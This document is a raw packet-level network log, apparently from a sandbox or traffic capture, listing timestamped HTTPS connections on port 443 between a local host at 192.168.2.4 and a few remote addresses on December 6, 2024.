Dec 6, 2024 00:15:49.207542896 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.207560062 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:49.207617044 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.208182096 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:49.208199024 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.936244011 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.936335087 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.936886072 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.936947107 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.937177896 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.937249899 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.937818050 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.937885046 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.940303087 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.940311909 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.940514088 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.940571070 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.940687895 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.940696955 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.940910101 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.940924883 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.940967083 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.941191912 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:50.987333059 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:50.987333059 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.973026037 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.973090887 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.973103046 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.973150015 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.973293066 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.973320961 CET	443	49872	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.973375082 CET	49872	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.973907948 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.973932981 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:51.973937988 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.973958969 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:51.974029064 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.974286079 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:51.974286079 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:51.974311113 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:51.974319935 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.974332094 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.982971907 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.983036995 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.983045101 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.983122110 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.983180046 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.983206034 CET	443	49871	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.983253002 CET	49871	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.983568907 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.983578920 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.983617067 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:51.983624935 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:51.983633041 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.983674049 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:51.983758926 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:51.983767986 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:51.983891010 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:51.983902931 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.666352034 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.666414976 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.667000055 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.667041063 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.668044090 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.668107986 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.671350002 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.671363115 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.671560049 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.671606064 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.673841000 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.673850060 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.674052000 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.674093962 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.674770117 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.675544977 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.683764935 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.683828115 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.684397936 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.684448957 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.686471939 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.686479092 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.686686993 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.686731100 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.687036037 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:53.715334892 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.719341993 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.731347084 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:53.779191017 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.779257059 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.780817032 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.780823946 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.781023979 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:53.781070948 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.781372070 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:53.827334881 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.581438065 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.584831953 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.584849119 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.584902048 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.585000992 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.585031033 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.585160017 CET	443	49876	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.585211992 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.585222960 CET	49876	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.585671902 CET	49883	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.585700989 CET	443	49883	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.585767031 CET	49883	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.586643934 CET	49883	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.586659908 CET	443	49883	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.644361019 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.644399881 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.644457102 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.644469023 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.644484043 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.644509077 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.644535065 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.645056009 CET	49877	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.645066023 CET	443	49877	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.645463943 CET	49884	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.645500898 CET	443	49884	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.645575047 CET	49884	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.645807981 CET	49884	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.645818949 CET	443	49884	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.681709051 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.681761026 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.681770086 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.681853056 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.681907892 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.681929111 CET	443	49878	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.682002068 CET	49878	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.682353020 CET	49885	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.682383060 CET	443	49885	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.682483912 CET	49885	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.682650089 CET	49885	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.682663918 CET	443	49885	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.891995907 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.892031908 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.892057896 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.892067909 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.892076015 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.892103910 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.893071890 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.893100977 CET	443	49879	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.893146992 CET	49879	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.893620968 CET	49886	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.893640995 CET	443	49886	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.893702030 CET	49886	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.893914938 CET	49886	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.893925905 CET	443	49886	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:54.955281019 CET	49883	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.955305099 CET	49884	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.955323935 CET	49885	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.955509901 CET	49886	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:54.956049919 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.956079006 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.956161976 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.956584930 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.956597090 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.957117081 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.957145929 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:54.957212925 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.958055973 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:54.958066940 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:55.104216099 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:55.104228973 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:55.104290009 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:55.104567051 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:55.104581118 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:56.669558048 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.669646025 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.670197010 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.670259953 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.674004078 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.674014091 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.674213886 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.674263954 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.674727917 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.694279909 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.694364071 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.694912910 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.694971085 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.696304083 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.696310997 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.696504116 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.696559906 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.696835995 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:56.719338894 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.739327908 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:56.836323977 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:56.836426020 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:56.837881088 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:56.837888956 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:56.838088989 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:56.846972942 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:56.891340017 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.332932949 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.332978964 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.332989931 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.333060026 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.333079100 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.333127975 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.515269995 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.515288115 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.515378952 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.515393019 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.515436888 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.563472986 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.563487053 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.563553095 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.563561916 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.563606977 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.576622963 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.576777935 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.576888084 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.576934099 CET	443	49887	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.576989889 CET	49887	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.577543020 CET	49893	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.577545881 CET	49894	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:57.577581882 CET	443	49894	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:57.577589035 CET	443	49893	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.577662945 CET	49894	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:57.577877998 CET	49893	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.577877998 CET	49893	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.577907085 CET	443	49893	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.577976942 CET	49894	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:57.577990055 CET	443	49894	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:57.599982977 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.600059032 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.600066900 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.600107908 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.600183964 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.600208998 CET	443	49888	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.600261927 CET	49888	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.600671053 CET	49895	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:57.600703955 CET	443	49895	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:57.600761890 CET	49895	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:57.600903988 CET	49896	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.600935936 CET	443	49896	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.600985050 CET	49896	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.601159096 CET	49895	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:57.601169109 CET	443	49895	142.250.181.33	192.168.2.4
Dec 6, 2024 00:15:57.601332903 CET	49896	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:57.601345062 CET	443	49896	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:57.682060957 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.682076931 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.682120085 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.682132959 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.682161093 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.682169914 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.725790977 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.725805998 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.725862026 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.725876093 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.725923061 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.743468046 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.743482113 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.743558884 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.743571043 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.743613958 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.764293909 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.764307976 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.764388084 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.764400959 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.764445066 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.865701914 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.865720034 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.865956068 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.865972042 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.866015911 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.884531021 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.884545088 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.884608030 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.884617090 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.884654999 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.900742054 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.900755882 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.900836945 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.900845051 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.900886059 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.915970087 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.915985107 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.916044950 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.916054964 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.916095018 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.926287889 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.926301956 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.926372051 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.926379919 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.926424026 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.927625895 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.927665949 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.927721977 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.928263903 CET	49889	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.928278923 CET	443	49889	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.974157095 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.974201918 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.974296093 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.974487066 CET	49897	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.974503994 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.974623919 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.974668026 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.974725962 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.974854946 CET	49898	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.974865913 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.976113081 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.976125002 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.976182938 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.976332903 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.976363897 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.976418018 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.976557016 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.976568937 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.976666927 CET	49900	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.976679087 CET	443	49900	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.977294922 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.977319002 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:57.977374077 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.977516890 CET	49901	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:57.977526903 CET	443	49901	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:58.955387115 CET	49893	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.955434084 CET	49894	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:58.955446959 CET	49895	443	192.168.2.4	142.250.181.33
Dec 6, 2024 00:15:58.955473900 CET	49896	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.956022024 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.956063986 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:58.956144094 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.957251072 CET	49902	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.957262993 CET	443	49902	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:58.959191084 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.959223032 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:58.959285975 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.959836960 CET	49903	443	192.168.2.4	142.250.181.14
Dec 6, 2024 00:15:58.959856033 CET	443	49903	142.250.181.14	192.168.2.4
Dec 6, 2024 00:15:59.697480917 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.697747946 CET	443	49898	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.697906017 CET	443	49897	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.698029995 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.698062897 CET	443	49899	13.107.246.63	192.168.2.4
Dec 6, 2024 00:15:59.698508024 CET	49899	443	192.168.2.4	13.107.246.63
Dec 6, 2024 00:15:59.698513985 CET	443	49899	13.107.246.63	192.168.2.4
